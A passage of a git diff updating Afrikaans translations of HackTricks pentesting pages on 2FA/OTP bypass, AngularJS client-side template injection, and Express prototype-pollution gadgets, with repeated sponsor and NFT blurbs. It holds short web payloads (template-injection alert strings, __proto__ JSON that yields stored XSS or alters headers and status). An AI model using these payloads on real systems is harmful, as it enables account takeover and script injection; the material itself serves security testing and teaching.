* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -1,28 +1,42 @@
# 2FA/OTP Omgang
# 2FA/OTP Bypass
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
## **Verbeterde Twee-Faktor Omgang Omgangstegnieke**
## WhiteIntel
### **Direkte Eindpunt Toegang**
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
Om 2FA te omseil, toegang tot die volgende eindpunt direk verkry, wetende dat die pad noodsaaklik is. Indien onsuksesvol, verander die **Verwysingskop** om navigasie vanaf die 2FA-verifikasiebladsy na te boots.
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneem en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## **Verbeterde Twee-Faktor-Verifikasie Omgangstegnieke**
### **Direkte Eindpunttoegang**
Om 2FA te omseil, toegang tot die daaropvolgende eindpunt direk verkry, waarvan die pad krities is. Indien onsuksesvol, verander die **Verwysingskop** om navigasie vanaf die 2FA-verifikasiebladsy na te boots.
### **Token Hergebruik**
Die hergebruik van voorheen gebruikte tokens vir outentifikasie binne 'n rekening kan effektief wees.
Die hergebruik van voorheen gebruikte tokens vir verifikasie binne 'n rekening kan effektief wees.
### **Gebruik van Ongebruikte Tokens**
@ -34,7 +48,7 @@ Ondersoek of die token in 'n respons van die webtoepassing bekendgemaak word.
### **Verifikasie Skakel Uitbuiting**
Die gebruik van die **e-posverifikasieskakel wat met rekening skepping gestuur is** kan profieltoegang sonder 2FA moontlik maak, soos uitgelig in 'n gedetailleerde [berig](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b).
Die gebruik van die **e-posverifikasieskakel wat met rekening-skepping gestuur is** kan profieltoegang sonder 2FA moontlik maak, soos uitgelig in 'n gedetailleerde [berig](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b).
### **Sessie Manipulasie**
@ -42,33 +56,33 @@ Die inisieer van sessies vir beide die gebruiker se en 'n slagoffer se rekening,
### **Wagwoord Herstel Meganisme**
Ondersoek die wagwoordherstelfunksie, wat 'n gebruiker in die aansoek inlog na herstel, vir die potensiaal om meervoudige herstelle met dieselfde skakel toe te laat, is noodsaaklik. Inlog met die nuut herstelde geloofsbriewe kan 2FA omseil.
Ondersoek die wagwoordherstelfunksie, wat 'n gebruiker in die toepassing inlog na herstel, vir die potensiaal om meervoudige herstelle met dieselfde skakel toe te laat, is krities. Inlog met die nuut herstelde geloofsbriewe kan 2FA omseil.
### **OAuth Platform Kompromis**
Die kompromittering van 'n gebruiker se rekening op 'n vertroude **OAuth** platform (bv. Google, Facebook) kan 'n roete bied om 2FA te omseil.
Die kompromittering van 'n gebruiker se rekening op 'n vertroude **OAuth** platform (bv., Google, Facebook) kan 'n roete bied om 2FA te omseil.
### **Brute Force Aanvalle**
#### **Snelheidslimiet Afwesigheid**
#### **Graadbeperking Afwesigheid**
Die afwesigheid van 'n limiet op die aantal kodepogings maak brute force aanvalle moontlik, alhoewel potensiële stille snelheidslimiete in ag geneem moet word.
Die afwesigheid van 'n beperking op die aantal kodepogings maak brute force aanvalle moontlik, alhoewel potensiële stille graadbeperking in ag geneem moet word.
#### **Stadige Brute Force**
'N stadige brute force aanval is lewensvatbaar waar vloeitempo-limiete bestaan sonder 'n oorheersende snelheidslimiet.
'N stadige brute force aanval is lewensvatbaar waar vloeitempo beperkings bestaan sonder 'n oorheersende graadbeperking.
#### **Kode Herstuur Limiet Herstel**
Die herstuur van die kode stel die snelheidslimiet terug, wat voortgesette brute force pogings fasiliteer.
Die herstuur van die kode herstel die graadbeperking, wat voortgesette brute force pogings fasiliteer.
#### **Kliëntkant Snelheidslimiet Omgewing**
#### **Kliëntkant Graadbeperking Omgewing**
'n Dokument beskryf tegnieke vir die omseil van kliëntkant snelheidslimiete.
'n Dokument beskryf tegnieke vir die omseil van kliëntkant graadbeperking.
#### **Interne Aksies Gebrek aan Snelheidslimiet**
#### **Interne Aksies Gebrek aan Graadbeperking**
Snelheidslimiete mag inlogpogings beskerm, maar nie interne rekeningaksies nie.
Graadbeperkings mag inlogpogings beskerm, maar nie interne rekeningsaksies nie.
#### **SMS Kode Herstuur Koste**
@ -82,9 +96,9 @@ Eindelose OTP-opwekking met eenvoudige kodes maak brute force moontlik deur 'n k
Die uitbuiting van wedren toestande vir 2FA omseiling kan in 'n spesifieke dokument gevind word.
### **CSRF/Clickjacking Swakhede**
### **CSRF/Clickjacking Kwesbaarhede**
Die ondersoek van CSRF- of Clickjacking swakhede om 2FA te deaktiveer is 'n lewensvatbare strategie.
Die ondersoek van CSRF of Clickjacking kwesbaarhede om 2FA te deaktiveer is 'n lewensvatbare strategie.
### **"Onthou My" Funksie Uitbuitings**
@ -100,47 +114,46 @@ Die nabootsing van die slagoffer se IP-adres deur die **X-Forwarded-For** kop ka
#### **Subdomeine**
Toetsing van subdomeine kan verouderde weergawes sonder 2FA-ondersteuning gebruik of kwesbare 2FA-implementasies bevat.
Toetsing van subdomeine mag verouderde weergawes sonder 2FA-ondersteuning gebruik of kwesbare 2FA-implementasies bevat.
#### **API Eindpunte**
Ouer API-weergawes, aangedui deur /v\*/ gidselpaaie, kan vatbaar wees vir 2FA omseilingsmetodes.
Ouer API-weergawes, aangedui deur /v\*/ gids-paaie, mag vatbaar wees vir 2FA omseilingsmetodes.
### **Hantering van Vorige Sessies**
Die beëindiging van bestaande sessies met 2FA-aktivering beveilig rekeninge teen ongemagtigde toegang vanaf gekompromitteerde sessies.
### **Toegangsbeheer Fout met Rugkodes**
### **Toegangsbeheer Fout met Rugsteunkodes**
Onmiddellike generering en potensiële ongemagtigde herwinning van rugkodes met 2FA-aktivering, veral met CORS-misconfigurations/XSS-swakhede, stel 'n risiko.
Onmiddellike generering en potensiële ongemagtigde herwinning van rugsteunkodes met 2FA-aktivering, veral met CORS-misconfigurations/XSS-kwesbaarhede, stel 'n risiko.
### **Inligting Bekendmaking op 2FA Bladsy**
### **Inligting Bekendmaking op 2FA-bladsy**
Sensitiewe inligting bekendmaking (bv. telefoonnommer) op die 2FA-verifikasiebladsy is 'n bekommernis.
Sensitiewe inligting bekendmaking (bv., telefoonnommer) op die 2FA-verifikasiebladsy is 'n bekommernis.
### **Wagwoord Herstel Deaktivering van 2FA**
### **Wagwoord Herstel wat 2FA Deaktiveer**
'N proses wat 'n potensiële omseilingsmetode demonstreer, behels rekening skepping, 2FA-aktivering, wagwoord herstel, en daaropvolgende aanmelding sonder die 2FA vereiste.
'N proses wat 'n potensiële omseilingsmetode demonstreer, behels rekening-skepping, 2FA-aktivering, wagwoordherstel, en daaropvolgende aanmelding sonder die 2FA-vereiste.
### **Lok Aanvrae**
### **Lok-aanvrae**
Die gebruik van lok aanvrae om brute force pogings te verduister of snelheidslimietmeganismes te mislei, voeg 'n ander laag by omseilingsstrategieë. Die opstel van sulke aanvrae vereis 'n genuanseerde begrip van die aansoek se sekuriteitsmaatreëls en snelheidslimietgedrag.
Die gebruik van lok-aanvrae om brute force pogings te verberg of graadbeperkingsmeganismes te mislei, voeg 'n ander laag by omseilingsstrategieë. Die opstel van sulke aanvrae vereis 'n genuanseerde begrip van die toepassing se sekuriteitsmaatreëls en graadbeperkingsgedrag.
## Verwysings
* [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/%22https:/medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35%22/README.md)
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
## WhiteIntel
Ander maniere om HackTricks te ondersteun:
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steelmalware** gekompromitteer is.
</details>
Die primêre doel van WhiteIntel is om rekening-oorneem en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelmalware.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% embed url="https://whiteintel.io" %}

View file

@ -1,6 +1,6 @@
<details>
<besonderhede>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<opsomming><sterk>Leer AWS-hacking vanaf nul tot held met</sterk> <a href="https://training.hacktricks.xyz/courses/arte"><sterk>htARTE (HackTricks AWS Red Team Expert)</sterk></a><sterk>!</sterk></opsomming>
Ander maniere om HackTricks te ondersteun:
@ -8,22 +8,35 @@ Ander maniere om HackTricks te ondersteun:
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
</besonderhede>
## WhiteIntel
<figuur><img src=".gitbook/assets/image (1224).png" alt=""><onderskrif></onderskrif></figuur>
[**WhiteIntel**](https://whiteintel.io) is 'n **donkerweb**-aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** gekompromitteer is.
Die primêre doel van WhiteIntel is om rekening-oorneem te bekamp en lospryse-aanvalle as gevolg van inligtingsteel-malware te voorkom.
Jy kan hul webwerf besoek en hul enjin **gratis** probeer by:
{% insluit url="https://whiteintel.io" %}
---
# Opsomming
Dit is soos 'n [**Bedienerkant-sjablooninspuiting**](ssti-server-side-template-injection/) maar in die **kliënt**. Die **SSTI** kan jou toelaat om **kode uit te voer** op die afgeleë bediener, die **CSTI** kan jou toelaat om **arbitrêre JavaScript**-kode in die slagoffer se blaaier uit te voer.
Dit is soos 'n [**Bedienerkant-sjablooninspuiting**](ssti-server-side-template-injection/) maar in die **kliënt**. Die **SSTI** kan jou toelaat om kode op die afgeleë bediener uit te voer, die **CSTI** kan jou toelaat om arbitrêre JavaScript-kode in die slagoffer se blaaier uit te voer.
**Toetsing** vir hierdie kwesbaarheid is baie **soortgelyk** as in die geval van **SSTI**, die tolk verwag **'n sjabloon** en sal dit uitvoer. Byvoorbeeld, met 'n lading soos `{{ 7-7 }}`, as die program **kwesbaar** is, sal jy 'n `0` sien, en indien nie, sal jy die oorspronklike sien: `{{ 7-7 }}`
**Toetsing** vir hierdie kwesbaarheid is baie **soortgelyk** aan die geval van **SSTI**, die tolk verwag **'n sjabloon** en sal dit uitvoer. Byvoorbeeld, met 'n lading soos `{{ 7-7 }}`, as die program **kwesbaar** is, sal jy 'n `0` sien, en indien nie, sal jy die oorspronklike sien: `{{ 7-7 }}`
# AngularJS
AngularJS is 'n wyd gebruikte JavaScript-raamwerk wat met HTML kommunikeer deur aantekeninge bekend as riglyne, 'n noemenswaardige een is **`ng-app`**. Hierdie riglyn maak dit vir AngularJS moontlik om die HTML-inhoud te verwerk, wat die uitvoering van JavaScript-uitdrukkings binne dubbele krulhakies moontlik maak.
In scenario's waar gebruikersinvoer dinamies in die HTML-lyf ingevoeg word met `ng-app` gemerk, is dit moontlik om arbitrêre JavaScript-kode uit te voer. Dit kan bereik word deur die sintaksis van AngularJS binne die inset te benut. Hieronder is voorbeelde wat demonstreer hoe JavaScript-kode uitgevoer kan word:
In scenario's waar gebruikersinvoer dinamies in die HTML-lyf ingevoeg word met `ng-app` gemerk, is dit moontlik om arbitrêre JavaScript-kode uit te voer. Dit kan bereik word deur die sintaksis van AngularJS binne die invoer te benut. Hieronder is voorbeelde wat demonstreer hoe JavaScript-kode uitgevoer kan word:
```javascript
{{$on.constructor('alert(1)')()}}
{{constructor.constructor('alert(1)')()}}
@ -86,17 +99,28 @@ javascript:alert(1)%252f%252f..%252fcss-images
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** is **gekompromiteer**.
Die primêre doel van WhiteIntel is om rekening-oorneem te beveg en lospryse aanvalle as gevolg van inligtingsteel-malware te voorkom.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,26 +1,40 @@
# Express Prototipevervuiling Gadgets
# Express Prototipe Vervuiling Toestelle
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Bedien XSS-respons
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **donker-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte **gekompromiteer** is deur **steelware**.
Hul primêre doel van WhiteIntel is om rekening-oorneeminge en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteelware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
---
## Bedien XSS-antwoorde
**Vir verdere besonderhede [kyk na die oorspronklike navorsing](https://portswigger.net/research/server-side-prototype-pollution)**
### Verander JSON-inhoudstipe na HTML
### Verander JSON inhoudstipe na HTML
In 'n Express-toepassing wat 'n **JSON-inhoudstipe-respons** gebruik en 'n JSON weerspieël:
In 'n Express-toep met 'n **JSON-inhoudstipe-antwoord** en reflekteer 'n JSON:
```javascript
app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
@ -28,15 +42,15 @@ _.merge({}, req.body);
res.send(req.body);
});
```
In hierdie gevalle is XSS normaalweg nie moontlik met 'n JSON-inhoudstipe nie. Met prototipevervuiling kan ons egter **Express verwar om 'n HTML-reaksie te dien.** Hierdie kwesbaarheid berus op die toepassing wat **`res.send(obj)`** gebruik en die liggaamontleder met die application/json-inhoudstipe.
In hierdie gevalle is XSS normaalweg nie moontlik met 'n JSON-inhoudstipe nie. Met prototipevervuiling kan ons egter **Express in die war bring om 'n HTML-reaksie te dien.** Hierdie kwesbaarheid berus op die aansoek wat **`res.send(obj)`** gebruik en die liggaamontleder met die application/json-inhoudstipe.
```json
{"__proto__":{"_body":true,"body":"<script>evil()"}}
```
Deur die **`body`** en **`_body`** eienskappe te **vervuil**, is dit moontlik om **Express te dwing om die HTML-inhoudstipe** te bedien en die `_body` eienskap te reflekteer, wat lei tot gestoorde XSS.
Deur die **`body`** en **`_body`** eienskappe te **besoedel**, is dit moontlik om **Express te laat dien die HTML inhoudstipe** en die `_body` eienskap te weerspieël, wat gevolglik tot gestoorde XSS lei.
### Render UTF7
### Stel UTF7 voor
Dit is moontlik om express te **laat UTF-7-inhoud vertoon met**:
Dit is moontlik om express **UTF-7 inhoud voor te stel met**:
```json
{"__proto__":{"content-type": "application/json; charset=utf-7"}}
```
@ -44,7 +58,7 @@ Dit is moontlik om express te **laat UTF-7-inhoud vertoon met**:
### JSON spasies
Die volgende PP sal aansprake binne 'n JSON laat hê met 'n ekstra spasie wat die funksionaliteit nie sal breek nie:
Die volgende PP sal eienskappe binne 'n JSON laat hê met 'n ekstra spasie wat nie die funksionaliteit sal breek nie:
```json
{"__proto__":{"json spaces": " "}}
```
@ -60,9 +74,9 @@ Die volgende PP-gadget sal die bediener laat terugstuur die HTTP-kop: **`Access-
```
Dit vereis dat die **CORS-module geïnstalleer is**
### **OPTIONS-metode**
### **OPSIES Metode**
Met die volgende payload is dit moontlik om **'n metode te verberg van 'n OPTIONS-respons**:
Met die volgende lading, is dit moontlik om **'n metode te verberg van 'n OPSIES-reaksie**:
```javascript
// Original reponse: POST,GET,HEAD
@ -73,53 +87,66 @@ Met die volgende payload is dit moontlik om **'n metode te verberg van 'n OPTION
```
### **Status**
Dit is moontlik om die **teruggekeerde statuskode** te verander deur die volgende PP-lading te gebruik:
Dit is moontlik om die **teruggevoerde status kode** te verander deur die volgende PP-lading te gebruik:
```json
{"__proto__":{"status":510}}
```
### Fout
Wanneer jy 'n prototipe toewys met 'n primitief soos 'n string, veroorsaak dit 'n **geen-operasie aangesien die prototipe 'n objek moet wees**. As jy probeer om 'n prototipe-objek aan die `Object.prototype` self toe te wys, sal dit 'n **uitsondering veroorsaak**. Ons kan hierdie twee gedrag gebruik om **vas te stel of prototipevervuiling suksesvol was**:
Wanneer jy 'n prototipe toeken met 'n primitief soos 'n string, veroorsaak dit 'n **geen-operasie aangesien die prototipe 'n objek moet wees**. As jy probeer om 'n prototipe objek toe te ken aan die `Object.prototype` self, sal dit 'n **uitsondering veroorsaak**. Ons kan hierdie twee gedragstukke gebruik om **vas te stel of prototipe besoedeling suksesvol was**:
```javascript
({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception
```
### Weerspiegelde Waarde
### Weerspieëlde Waarde
Wanneer 'n toepassing 'n voorwerp insluit in sy antwoord, kan dit insiggewend wees om 'n eienskap met 'n **ongewone naam saam met `__proto__`** te skep. Spesifiek, as slegs die ongewone eienskap in die antwoord teruggegee word, kan dit dui op die kwesbaarheid van die toepassing:
Wanneer 'n aansoek 'n voorwerp in sy antwoord insluit, kan dit insiggewend wees om 'n eienskap met 'n **ongewone naam langs `__proto__`** te skep. Spesifiek, as **slegs die ongewone eienskap** in die antwoord teruggegee word, kan dit dui op die kwesbaarheid van die aansoek:
```json
{"unusualName":"value","__proto__":"test"}
```
Verder, in scenario's waar 'n biblioteek soos Lodash gebruik word, bied die stel van 'n eienskap deur middel van prototipevervuiling (PP) en direk binne die objek 'n ander diagnostiese benadering. As so 'n eienskap weggelaat word uit die respons, dui dit daarop dat Lodash die bestaan van die eienskap in die teikenobjek verifieer voordat dit saamgevoeg word:
Verder, in situasies waar 'n biblioteek soos Lodash gebruik word, bied die instelling van 'n eienskap beide via prototipe besoedeling (PP) en direk binne die objek 'n ander diagnostiese benadering. As so 'n eienskap uit die respons weggelaat word, dui dit daarop dat Lodash die bestaan van die eienskap in die teikenobjek verifieer voordat dit saamvoeg:
```javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
```
## Verskillende
## Verskeie
### Sta Dots Toe
### Laat Kolletjies toe
Daar is 'n opsie in Express wat jou toelaat om **voorwerpe te skep vanaf navraagstringparameters**.\
Jy kan dit beslis gebruik in 'n fout **ketting** om 'n **prototipevervuilbaarheid** uit te buit.
Daar is 'n opsie in Express wat jou toelaat om **voorwerpe vanaf navraagstringparameters te skep**.\
Jy kan dit beslis gebruik in 'n fout **ketting** om 'n **prototipevervuilingskwesbaarheid** uit te buit.
```json
{"__proto__":{"allowDots":true}}
```
**`?foo.bar=baz` skep 'n voorwerp in Node.**
**`?foo.bar=baz` skep 'n objek in Node.**
## Verwysings
* [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) is 'n **dark-web** aangedrewe soekenjin wat **gratis** funksies bied om te kontroleer of 'n maatskappy of sy kliënte deur **steel-malware** is **gekompromiteer**.
Die primêre doel van WhiteIntel is om rekening-oorneeminge en lospryse-aanvalle te beveg wat voortspruit uit inligtingsteel-malware.
Jy kan hul webwerf besoek en hul enjin vir **gratis** probeer by:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-repos.
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>

View file

@ -1,27 +1,40 @@
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
